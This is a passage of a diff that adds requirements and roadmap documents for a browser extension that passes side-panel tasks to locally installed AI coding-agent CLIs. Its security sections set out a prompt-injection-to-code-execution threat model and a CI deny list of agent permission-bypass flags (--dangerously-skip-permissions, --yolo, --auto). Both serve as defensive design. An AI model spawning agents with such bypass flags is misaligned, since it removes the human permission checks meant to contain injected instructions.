the onboarding MCP-install screen for a specific client (`claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local`. +- [x] **IDENT-02**: When an MCP client completes its `initialize` handshake with `fsb-mcp-server` (over any transport: stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version` and threads them to the extension via an additive field on the existing `agent:register` bridge payload without breaking any existing consumer of that payload (INV-01). +- [x] **IDENT-03**: The extension's agent registry stamps captured `clientInfo` onto each live `AgentRecord` and rolls the identity up into a durable `fsbAgentProviders.connected` entry that survives service-worker eviction and Chrome restart, keyed so re-connections update rather than duplicate. +- [x] **IDENT-04**: `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; ` --version` probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. +- [x] **IDENT-05**: A `getMcpClients` extension runtime message returns a merged view (`clicked` ∪ `installed` ∪ `connected`) with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves. + +### PROV -- Providers Panel + +- [x] **PROV-01**: The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and any anchor `#api-config` continues to work as a redirect to the new `#providers` anchor for existing bookmarks). +- [x] **PROV-02**: Each provider has an explicit `providerKind` value of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render. +- [x] **PROV-03**: When an `agent`-kind provider is selected, the API-key input, key-URL hint, and per-model key-format hint are hidden; the panel shows instead the provider's install status, auth status (from the CLI's own login state where surfaceable), connection status, and a short "uses your subscription -- no API key needed" caption. +- [x] **PROV-04**: When the user has both an active `agent` provider selection and a valid BYOK key for an `api` provider, `universal-provider.js` continues to see only `api`-kind provider values; the two selections do not collide, and switching between them preserves the other's configuration (INV-03 provider parity for the BYOK side). +- [x] **PROV-05**: The panel visually marks exactly one provider as "Recommended" per session, chosen by a ground-truth cascade: highest-priority = a provider whose CLI is currently connected via MCP `initialize`, next = a provider whose CLI is installed on disk, next = a provider whose copy button the user clicked during onboarding, fallback = the current xAI-default recommendation. The panel never auto-switches the user's selection; the badge is advisory only. +- [x] **PROV-06**: Cost/usage rows for `agent`-kind providers never display fabricated dollar amounts; they display token count, turn count, and duration and label the run as "included in your subscription", with a link to the vendor's current billing page (copy must not promise "free" or "unlimited"). + +### CHAN -- Delegation Channel & Security Foundation + +- [x] **CHAN-01**: A new bridge message-type family (`ext:request` / `ext:response` / `ext:event`) transports extension→daemon reverse requests over the existing ws://localhost:7225 bridge without changing the byte-shape of any existing `MCPMessageType` value (INV-01 additive proof). +- [x] **CHAN-02**: A relay process signals its ability to fulfill spawn requests by advertising `capabilities: ['agent-spawn']` in its `relay:hello`; the hub routes each `ext:request` locally (if itself the daemon) or to the first relay advertising the required capability. +- [x] **CHAN-03**: The bridge rejects every incoming `ext:*` frame whose WebSocket upgrade did not carry an `Origin` header matching a durable per-install FSB-extension-id allowlist and whose `Host` header is not exactly `127.0.0.1` (or `localhost`) at the loopback port. +- [x] **CHAN-04**: A per-install >=32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame. +- [x] **CHAN-05**: `redactForLog` and diagnostic ring-buffer writes strip any string matching the shared-secret token pattern; the drift gate fails the build if a raw secret substring appears in any tracked log fixture. +- [x] **CHAN-06**: The bridge topology test suite covers hub-exit-mid-delegation and relay-mid-`ext:*`-frame scenarios; existing hub-exit-promotion tests still pass byte-for-byte. +- [x] **CHAN-07**: A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those flags can never enter the spawn path in any future patch. + +### ADAPT -- Adapter Contract & Spawn Supervisor + +- [x] **ADAPT-01**: An `AgentProviderAdapter` TypeScript interface in `mcp/src/agent-providers/` defines exactly five methods: `detect() -> {installed, version, authState, binary}`, `buildSpawn(task, ctx) -> SpawnSpec`, `parseEvents(stream) -> AsyncIterable`, `kill(child, {grace}) -> Promise`, and `caps() -> AdapterCapabilities`. +- [x] **ADAPT-02**: A `SpawnSupervisor` module living in the `fsb-mcp-server serve` daemon accepts a validated spawn request, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`/`OPENAI_API_KEY`/`GEMINI_API_KEY` scrubbed. +- [x] **ADAPT-03**: The supervisor never invokes a shell; the user's prompt travels only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. +- [x] **ADAPT-04**: A `stop`/cancel request triggers SIGTERM at the process-group level (POSIX `process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`, Windows `taskkill /pid /T /F`), escalates to SIGKILL after a grace window, and blocks resolving the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain. +- [x] **ADAPT-05**: On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints and kills them before accepting new spawn requests (recovery from crash). + +### CLAUDE -- Claude Code MVP + +- [x] **CLAUDE-01**: The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence`, or the version-appropriate equivalent selected by `detect()` output. +- [x] **CLAUDE-02**: The user's task prompt is sent to the spawned CLI via stdin only; the adapter constructs no argv fragment containing user-supplied text. +- [x] **CLAUDE-03**: The adapter's `parseEvents` translates the CLI's stream-json events (`system/init`, `assistant`, `user`, tool-use events, `system/api_retry`, `result`) into a normalized `AgentEvent` schema (`type`, `sessionId`, `payload`), fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI. +- [x] **CLAUDE-04**: The Claude Code adapter's `detect()` fingerprints the binary via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. + +### UX -- Delegation UX + +- [x] **UX-01**: A fifth entry `delegated` in `EXECUTION_MODES` (`extension/ai/engine-config.js`) defines: `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, `safetyLimits: { wallClockMs, eventSilenceMs }` (no iteration cap -- the loop runs in the spawned CLI, not `runAgentLoop`), and is selected when the active provider is `agent`-kind. +- [x] **UX-02**: The side panel renders a live per-run streaming feed with distinct card types for init (client, model, session id, allowed tools), tool-call (name, args summary, tab id), retry (typed error class), and result (usage summary), driven by the normalized `AgentEvent` stream. +- [x] **UX-03**: Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, what it will be permitted to do (drive the FSB MCP tools on the user's live browser), and what it will not be permitted to do (edit files, run shell, fetch arbitrary URLs). A per-run confirm-to-continue toggle is on by default and can be disabled per provider only via an explicit "trust this agent" setting. +- [x] **UX-04**: A prominent Stop button in the side panel triggers `stopDelegatedTask`, which routes to the supervisor's kill and, on confirmed exit, releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed. +- [x] **UX-05**: A delegated run opens by default in a new background tab; when the user activates the tab that the agent is driving, a persistent "Take control" affordance appears; clicking it pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. +- [x] **UX-06**: A post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind; real USD for api kind), and a per-tool-call breakdown, expandable to the full tool-call log for the run. + +### LIFE -- Lifecycle & Persistence + +- [x] **LIFE-01**: Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key before it fans out to UI subscribers, so a MV3 service worker eviction mid-run reloads exactly the delivered feed on re-open. +- [x] **LIFE-02**: While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the extension shows a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart. +- [x] **LIFE-03**: If `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message. +- [x] **LIFE-04**: On daemon restart while a delegation was mid-flight, the supervisor does not re-adopt any surviving spawned CLI; it kills it (LIFE-04 restart-is-clean) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. + +### DRIFT -- CI Drift-Smoke Gate & Doctor Extensions + +- [x] **DRIFT-01**: A CI job runs each shipped adapter against a canned prompt fixture, asserts a known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing fields, or a `--version` outside the compatibility matrix. +- [x] **DRIFT-02**: `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age. +- [x] **DRIFT-03**: The diagnostics ring buffer classifies drift events as `agent_protocol_drift` (with adapter id, expected vs observed) and rate-limits duplicate entries at the existing 1-per-10s bucket. +- [x] **DRIFT-04**: The `doctor` output includes a machine-readable adapter compatibility matrix that both CI and the extension can read to render "supported / degraded / unsupported" states without hardcoding versions in extension code. + +### NATIVE -- Native-Messaging Host + +- [x] **NATIVE-01**: `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest (macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\`), allowing the FSB extension id as the sole caller, and installs a host binary that wakes the daemon on demand. +- [x] **NATIVE-02**: The extension's manifest gains a `nativeMessaging` permission entry (additive, no other permission changes), and the extension detects native-host presence at boot; when present, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link. +- [x] **NATIVE-03**: The native host itself does not spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff. All spawn authority remains inside the `serve` daemon behind the CHAN gates. +- [x] **NATIVE-04**: `fsb-mcp-server uninstall --native-host` removes the manifest, and `doctor` reports native-host install state including manifest path and any Chrome allowlist mismatch. + +### MULTI -- Additional Adapters + +- [x] **MULTI-01**: An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode=true`; the supervisor either spawns `opencode run` cold or attaches to a running `opencode serve` per the adapter's `buildSpawn` output (contract-stresser: the ADAPT contract must accommodate both spawn and attach without hardcoding). +- [x] **MULTI-02**: The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike. +- [x] **MULTI-03**: A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-1.14.25/` (or the latest pinned version) proves the adapter's event schema in CI without a live CLI. +- [x] **MULTI-04**: A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the current-verified flag set (v0.142.5 as baseline: use `--ephemeral` + `--ignore-user-config` for hermeticity; do not use the deprecated `--full-auto`). +- [x] **MULTI-05**: The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth vs API key vs unauthenticated and surfaces the state in the provider panel so the user knows which billing bucket a run will hit. +- [x] **MULTI-06**: A schema-derived Codex JSONL contract fixture pins the event schema in CI with `liveCapturePending: true` until genuine UAT capture, and the adapter's `caps()` correctly reports `chatMode: false` for v0.9.91 (task-mode only across all adapters). + +## v2 Requirements + +Deferred to future release. Tracked but not in current roadmap. + +### Chat-Mode Continuity + +- **CHAT-FUTURE-01**: Adapters expose `caps.chatMode: true` and the side panel maps a chat thread to `--resume ` (Claude Code) / `codex resume` / `gemini --resume` / `opencode --continue` per adapter. +- **CHAT-FUTURE-02**: The daemon pins per-thread working directory so `claude --resume` finds its history. + +### Gemini CLI Adapter + +- **GEMINI-FUTURE-01**: Gemini CLI adapter after a live `--help` capture and JSONL schema pinning (v0.9.91 lacked a local binary to verify against). + +### Broader Agent Ecosystem + +- **ACP-FUTURE-01**: ACP-based adapter unification (`@zed-industries/agent-client-protocol`) once ≥2 non-Claude adapters have shipped and proven the contract shape. +- **REMOTE-FUTURE-01**: Remote/mobile delegation surfaces (Happy-style approval flows) -- explicitly localhost-only in v0.9.91. + +## Out of Scope + +Explicitly excluded. Documented to prevent scope creep. + +| Feature | Reason | +|---------|--------| +| Embedding `@anthropic-ai/claude-agent-sdk` in FSB | Anthropic policy prohibits third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026); shelling to the user's installed `claude` binary is the only compliant "no API key" path. | +| Proxying / spoofing subscription OAuth tokens | Banned outright by Anthropic Apr 4 2026; would be product-killing regardless of technical feasibility. | +| Bundling / silent-installing agent CLIs | Wrong shape for a Chrome extension + npm daemon; would violate Chrome Web Store distribution rules and add attack surface. | +| PTY / TUI screen-scraping of agent CLIs | Structured headless interfaces exist for all four target CLIs; scraping is a maintenance sinkhole. | +| Any `--dangerously-skip-permissions` / `--yolo` / `--auto` flag in the spawn path | 1-click RCE for any prompt-injection incident; CHAN-07 grep gate makes this a permanent invariant. | +| Fabricated dollar costs on subscription-backed runs | Cline established the $0.00 convention; PROV-06 codifies it. | +| Auto-switching the user's provider when a "better" agent appears | Advisory badge only (PROV-05); user consent is the load-bearing property. | +| Forcing users away from BYOK when an agent is available | INV-03 provider parity carries forward; BYOK stays first-class. | +| `Firefox` support | Deferred at project level; MV3 nativeMessaging in NATIVE requirements is Chrome-specific for v0.9.91. | +| Native host that itself spawns agent CLIs | NATIVE-03 explicitly forbids this; all spawn authority lives inside the serve daemon behind CHAN gates. | + +## Traceability + +Which phases cover which requirements. Populated during roadmap creation. + +| Requirement | Phase | Status | +|-------------|-------|--------| +| IDENT-01 | Phase 57 | Complete | +| IDENT-02 | Phase 57 | Complete | +| IDENT-03 | Phase 57 | Complete | +| IDENT-04 | Phase 57 | Complete | +| IDENT-05 | Phase 57 | Complete | +| PROV-01 | Phase 58 | Complete | +| PROV-02 | Phase 58 | Complete | +| PROV-03 | Phase 58 | Complete | +| PROV-04 | Phase 58 | Complete | +| PROV-05 | Phase 58 | Complete | +| PROV-06 | Phase 58 | Complete | +| CHAN-01 | Phase 59 | Complete | +| CHAN-02 | Phase 59 | Complete | +| CHAN-03 | Phase 59 | Complete | +| CHAN-04 | Phase 59 | Complete | +| CHAN-05 | Phase 59 | Complete | +| CHAN-06 | Phase 59 | Complete | +| CHAN-07 | Phase 59 | Complete | +| ADAPT-01 | Phase 60 | Complete | +| ADAPT-02 | Phase 60 | Complete | +| ADAPT-03 | Phase 60 | Complete | +| ADAPT-04 | Phase 60 | Complete | +| ADAPT-05 | Phase 60 | Complete | +| CLAUDE-01 | Phase 60 | Complete | +| CLAUDE-02 | Phase 60 | Complete | +| CLAUDE-03 | Phase 60 | Complete | +| CLAUDE-04 | Phase 60 | Complete | +| UX-01 | Phase 61 | Complete | +| UX-02 | Phase 61 | Complete | +| UX-03 | Phase 61 | Complete | +| UX-04 | Phase 61 | Complete | +| UX-05 | Phase 61 | Complete | +| UX-06 | Phase 61 | Complete | +| LIFE-01 | Phase 61 | Complete | +| LIFE-02 | Phase 61 | Complete | +| LIFE-03 | Phase 61 | Complete | +| LIFE-04 | Phase 61 | Complete | +| DRIFT-01 | Phase 62 | Complete | +| DRIFT-02 | Phase 62 | Complete | +| DRIFT-03 | Phase 62 | Complete | +| DRIFT-04 | Phase 62 | Complete | +| NATIVE-01 | Phase 63 | Complete | +| NATIVE-02 | Phase 63 | Complete | +| NATIVE-03 | Phase 63 | Complete | +| NATIVE-04 | Phase 63 | Complete | +| MULTI-01 | Phase 64 | Complete | +| MULTI-02 | Phase 64 | Complete | +| MULTI-03 | Phase 64 | Complete | +| MULTI-04 | Phase 65 | Complete | +| MULTI-05 | Phase 65 | Complete | +| MULTI-06 | Phase 65 | Complete | + +**Coverage:** +- v1 requirements: 51 total +- Mapped to phases: 51 / 51 (100%) +- Unmapped: 0 + +**Phase distribution:** +- Phase 57 (IDENT): 5 requirements +- Phase 58 (PROV): 6 requirements +- Phase 59 (CHAN): 7 requirements +- Phase 60 (ADAPT + CLAUDE): 9 requirements +- Phase 61 (UX + LIFE): 10 requirements +- Phase 62 (DRIFT): 4 requirements +- Phase 63 (NATIVE): 4 requirements +- Phase 64 (MULTI-OpenCode): 3 requirements +- Phase 65 (MULTI-Codex): 3 requirements + +--- +*Requirements defined: 2026-07-11* +*Last updated: 2026-07-16 after Phase 62 completion (41/51 requirements complete; all live checks deferred to milestone end)* diff --git a/.planning/milestones/v0.9.91-ROADMAP.md b/.planning/milestones/v0.9.91-ROADMAP.md new file mode 100644 index 000000000..ec3d07ae3 --- /dev/null +++ b/.planning/milestones/v0.9.91-ROADMAP.md @@ -0,0 +1,521 @@ +# Roadmap: FSB (Full Self-Browsing) + +> **Historical-scope note (2026-07-15):** The Phase 54 dashboard-exclusion +> entries below preserve the completed v1.2.0 roadmap. A later showcase +> localization follow-up superseded that policy by localizing the dashboard and +> removing its lint exclusion. Current policy lives in +> `showcase/angular/src/locale/I18N-BOUNDARIES.md`. + +## Milestones + +- 🚧 **v0.9.91 MCP Clients as Providers** — Phases 57-65, planning 2026-07-11. Extends the Chrome MV3 extension + `fsb-mcp-server` so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers: FSB captures which MCP clients the user copies/installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools — with a security-first reverse-request channel, an `AgentProviderAdapter` contract, task-mode only (chat-mode deferred), CI drift-smoke gate, native-messaging wake-host, and INV-01 (byte-stable existing MCP wire) preserved end-to-end. +- ✅ **v1.2.0 Showcase i18n Completeness** — Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. Closes the translation gap that reopened after v0.9.63 shipped: a full-page audit establishes the true drift/missing scope, resync + stats-page translation + transcreation review close it, a CI drift-detection gate lands on the clean baseline, and the long-deferred WARNING-02 locale-cookie redirect bug is fixed. +- ✅ **v1.1.0 T1 App Execution Expansion** — Phases 44-51, shipped 2026-06-30; refreshed 2026-07-01 after post-closeout T1 ports. Expanded proven T1/guarded coverage from 26 baseline descriptors to 1,267 executable T1-ready descriptors plus 556 guarded fail-closed rows, and closed the remaining catalog tail with explicit terminal-state accounting. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. +- ✅ **v1.0.0 Full App Catalog (OpenTabs Parity)** — Phases 35-43, shipped 2026-06-29. Full OpenTabs-derived catalog/search/discovery surface: 2,314 descriptors across 128 app stems / 129 services; 26 T1/T1b descriptors today; 2,288 descriptors intentionally remain DOM/discovery-tail. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. + +## Current Milestone: v0.9.91 MCP Clients as Providers + +**Milestone Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers — FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. The user's own words: "when I'm sending a message from the side panel, the FSB extension sends a request to the MCP server, which spawns a Claude/Codex/OpenCode agent with the prompt, and that agent uses FSB MCP tools to perform the task — technically driving the local coding agent from the side panel." + +**Key context (non-negotiable):** + +- **Security-first hard rule.** The reverse-request channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. The security foundation phase (Phase 59) — reverse-request channel + Origin/Host/secret/consent + CHAN-07 grep gate — MUST land before ANY spawn code exists. It cannot be deferred to a "hardening" phase. All CHAN-01..CHAN-07 requirements land in Phase 59 together. +- **INV-01 discipline.** Every wire addition is additive: new frame types (`ext:request`/`ext:response`/`ext:event`) + optional payload fields only. Existing `MCPMessageType` values and tool schemas stay byte-stable across the entire milestone; a byte-freeze regression test proves this in every phase that touches the wire. +- **Task-mode only.** Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02); every adapter's `caps()` reports `chatMode: false` for v0.9.91. +- **Adapter breadth: OpenCode + Codex; skip Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture and JSONL schema pinning are done. NATIVE and DRIFT are IN scope. +- **No `--dangerously-skip-permissions` / `--yolo` / `--auto`.** Anywhere. Ever. Not even in an "advanced mode." A permanent CI grep gate (CHAN-07) fails the build if those strings appear under `mcp/src/agent-providers/**`. +- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shelling to the user's installed `claude` binary is the only compliant "no API key" path and is standard ecosystem practice (Cline, Roo, Zed, Conductor). +- **Extension has no `nativeMessaging` permission in Phases 57-62.** Delegation therefore requires a running `fsb-mcp-server serve` daemon; MVP ships an honest "agent offline → doctor" state. Phase 63 (NATIVE) adds the optional wake-host that closes this UX cliff. +- **Source-pin tripwire discipline.** FSB's test suite pins exact token counts and substrings on extension source (even comments). Every extension-touching commit updates paired tripwires; the full suite runs from commit 1 of every phase. + +**Phase ordering rationale (from research; dependency chain non-negotiable):** identity data (Phase 57) → provider selection UI reads it (Phase 58) → security foundation must exist before any spawn code (Phase 59) → adapter contract needs the channel (Phase 60) → UX/lifecycle needs the adapter (Phase 61) → drift gate and doctor need something to check (Phase 62) → native-host is additive and can only close the offline cliff after the offline state itself exists (Phase 63) → contract must be stable before adapter breadth (Phases 64-65). + +## Phases + +**Phase Numbering:** +- Integer phases (57, 58, 59, 60, 61, 62, 63, 64, 65): Planned milestone work, continuing from v1.2.0's Phase 56 +- Decimal phases (57.1, 57.2): Urgent insertions (marked with INSERTED) + +- [x] **Phase 57: Agent Identity Capture** - Persist copy-clicks, capture MCP `initialize` `clientInfo`, thread it through `agent:register`, add disk-scan detection, expose a unified `getMcpClients` view — additive on both sides of the wire (INV-01 safe), unblocks everything downstream (completed 2026-07-12) +- [x] **Phase 58: Providers Panel** - Rename "API Configuration" → "Providers", introduce `api` vs `agent` provider kinds, hide the key input for agent kind, badge exactly one "Recommended" provider via the connected > installed > copy-clicked cascade, keep `universal-provider.js` unaware of agent values (INV-03 BYOK parity) (completed 2026-07-12; live UAT deferred to milestone-end gate) +- [x] **Phase 59: Reverse-Request Channel & Security Foundation** - **SECURITY-CRITICAL, load-bearing**. Additive `ext:*` frames on ws://localhost:7225, strict Origin allowlist + Host loopback + per-install rotating shared secret in `Sec-WebSocket-Protocol`, log redaction, hub-exit-mid-delegation topology tests, permanent CI grep gate against `--dangerously-skip-permissions` / `--yolo` / `--auto` — completed 2026-07-14; automated/source verification passed and four live checks are deferred to the milestone-end UAT gate +- [x] **Phase 60: Adapter Contract & Claude Code MVP** - `AgentProviderAdapter` interface, `SpawnSupervisor` in the `serve` daemon with argv-only spawn / scrubbed env / SIGTERM-at-process-group / Windows `taskkill /T /F` / orphan scan on startup, Claude Code adapter with verified 2.1.177 flag set + shipped `fsb` agent definition + recorded stream-json JSONL fixture — completed 2026-07-14; automated/source verification passed and seven live checks are deferred to the milestone-end UAT gate +- [x] **Phase 61: Delegation UX & SW-Eviction Persistence** - Fifth `EXECUTION_MODES` entry `delegated`, explicit first-use consent card, live per-tool-call streaming feed, default-background-tab + "Take control" affordance, kill switch that reclaims owned tabs, post-run usage summary, `chrome.storage.session` per-event persistence, 20 s WS heartbeat, "agent offline → `doctor`" deep-link, restart-is-clean semantics (completed 2026-07-15; automated/source verification passed and eight live checks are deferred to the milestone-end UAT gate) +- [x] **Phase 62: CI Drift-Smoke Gate & Doctor Extensions** - Per-adapter CI drift-smoke against canned fixtures (fail-loud on unknown event types / missing fields / version outside compat matrix), `fsb-mcp-server doctor` per-adapter section (binary path, version, auth, secret rotation age), machine-readable adapter compatibility matrix consumed by the extension (completed 2026-07-16; automated/source/full-suite verification passed and three live checks are deferred to the milestone-end UAT gate) +- [ ] **Phase 63: Native-Messaging Host** - `install --native-host` writes the platform-appropriate manifest (mac/Linux/Windows), extension gains additive `nativeMessaging` permission, "Agent offline" state auto-attempts wake before the doctor deep-link; the native host only launches (or attaches to) `serve` — it NEVER spawns agent CLIs directly (all spawn authority stays inside the daemon behind Phase 59 CHAN gates) +- [ ] **Phase 64: OpenCode Adapter** - Second adapter proves the contract accommodates server-mode + attach on top of cold spawn without any Phase 60 rewrite; pinned OpenCode agent definition + recorded JSONL fixture + drift-smoke coverage +- [ ] **Phase 65: Codex Adapter** - Third adapter with `codex exec --json` on the verified 0.142.5 hermetic flag set (`--ephemeral` + `--ignore-user-config`, never the deprecated `--full-auto`), `detect()` surfacing ChatGPT OAuth / API key / unauthenticated so the Providers panel discloses which billing bucket a run will hit; `caps.chatMode: false` across all adapters (automated/source verification passed 2026-07-22; exactly three live UAT scenarios remain pending) + +## Phase Details + +### Phase 57: Agent Identity Capture +**Goal**: FSB knows which MCP-capable agent CLIs the user has installed on disk, has expressed intent to install (via onboarding copy clicks), and has actually connected via MCP `initialize` — surfaced as a single ground-truth view that unblocks every downstream provider-selection decision. +**Depends on**: Nothing (first phase of this milestone; pure additive data layer on both sides of the wire) +**Requirements**: IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 +**Success Criteria** (what must be TRUE): + 1. When the user clicks any copy-to-clipboard button on the onboarding MCP-install screen (for `claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, or `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local` that survives service-worker eviction and Chrome restart. + 2. When any MCP client completes its `initialize` handshake with `fsb-mcp-server` (over stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version`, threads them through an additive field on the existing `agent:register` bridge payload, stamps them onto the live `AgentRecord` in the registry, and rolls the identity up into a durable `fsbAgentProviders.connected` entry keyed so re-connections update rather than duplicate. + 3. `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; `claude --version` binary probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. + 4. A single `getMcpClients` extension runtime message returns a merged `clicked ∪ installed ∪ connected` view with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves — and the merged view survives MV3 service-worker eviction. + 5. INV-01 holds: no existing `MCPMessageType` value, no existing tool schema, and no existing consumer of the `agent:register` payload breaks — the additive `clientInfo` field is optional and existing `payload: {}` handlers keep working byte-for-byte. +**Plans**: 3/3 complete +- [x] 57-01: Capture lazy MCP client identity and daemon-side installed-client inventory. +- [x] 57-02: Persist durable clicked, connected, and installed evidence in the extension. +- [x] 57-03: Expose the canonical merged MCP-client evidence view with compatibility locks. + +### Phase 58: Providers Panel +**Goal**: The control panel's "API Configuration" section becomes the "Providers" panel — distinguishing BYOK API providers from installed agent CLIs, badging exactly one provider "Recommended" from ground truth (never auto-switching selection), and shipping honest no-fabrication cost/usage copy for agent-kind providers. +**Depends on**: Phase 57 (needs real `fsbAgentProviders` data to render agent rows and to drive the "Recommended" cascade) +**Requirements**: PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 +**Success Criteria** (what must be TRUE): + 1. The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and the legacy `#api-config` anchor continues to work as a redirect to the new `#providers` anchor for existing bookmarks); the source-pin tripwire suite stays green from commit 1 of this phase. + 2. Every provider row has an explicit `providerKind` of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render — an `agent`-kind selection hides the API-key input, key-URL hint, and per-model key-format hint, and shows install status, auth status (where the CLI exposes it), connection status, and a "uses your subscription — no API key needed" caption instead. + 3. Exactly one provider is badged "Recommended" per session, chosen by the strict ground-truth cascade (highest = a CLI currently connected via MCP `initialize`, next = a CLI installed on disk, next = a CLI whose copy button was clicked during onboarding, fallback = the existing xAI-default recommendation); the badge is advisory only — the user's selection is never auto-switched. + 4. `universal-provider.js` (the existing BYOK request builder) never observes an agent value: switching between an active agent provider and a BYOK api provider preserves the other's configuration, and INV-03 provider parity for the 7 BYOK providers holds unchanged. + 5. Cost/usage rows for `agent`-kind providers display token count, turn count, and duration alongside the label "included in your subscription", with a link to the vendor's current billing page — never a fabricated dollar amount and never the words "free" or "unlimited". +**Plans**: 3/3 complete +**UI hint**: yes + +### Phase 59: Reverse-Request Channel & Security Foundation +**Goal**: Extension → daemon reverse requests transit the existing `ws://localhost:7225` bridge with every documented 2025-2026 CVE-class defense enforced from commit one — Origin allowlist, Host loopback, per-install rotating shared secret, log redaction, additive-only wire evolution, and a permanent grep gate against the three "one-click RCE" flags. This phase is SECURITY-CRITICAL and load-bearing: it ships BEFORE any spawn code exists in Phase 60. +**Depends on**: Nothing (channel design is orthogonal to Phase 57/58 data + UI; can develop in parallel but MUST be code-green before Phase 60 starts) +**Requirements**: CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 +**Success Criteria** (what must be TRUE): + 1. A new `ext:request` / `ext:response` / `ext:event` bridge message-type family transports extension → daemon reverse requests over the existing ws://localhost:7225 bridge, and a byte-freeze regression test proves every existing `MCPMessageType` value, tool schema, and bridge payload stays byte-identical (INV-01 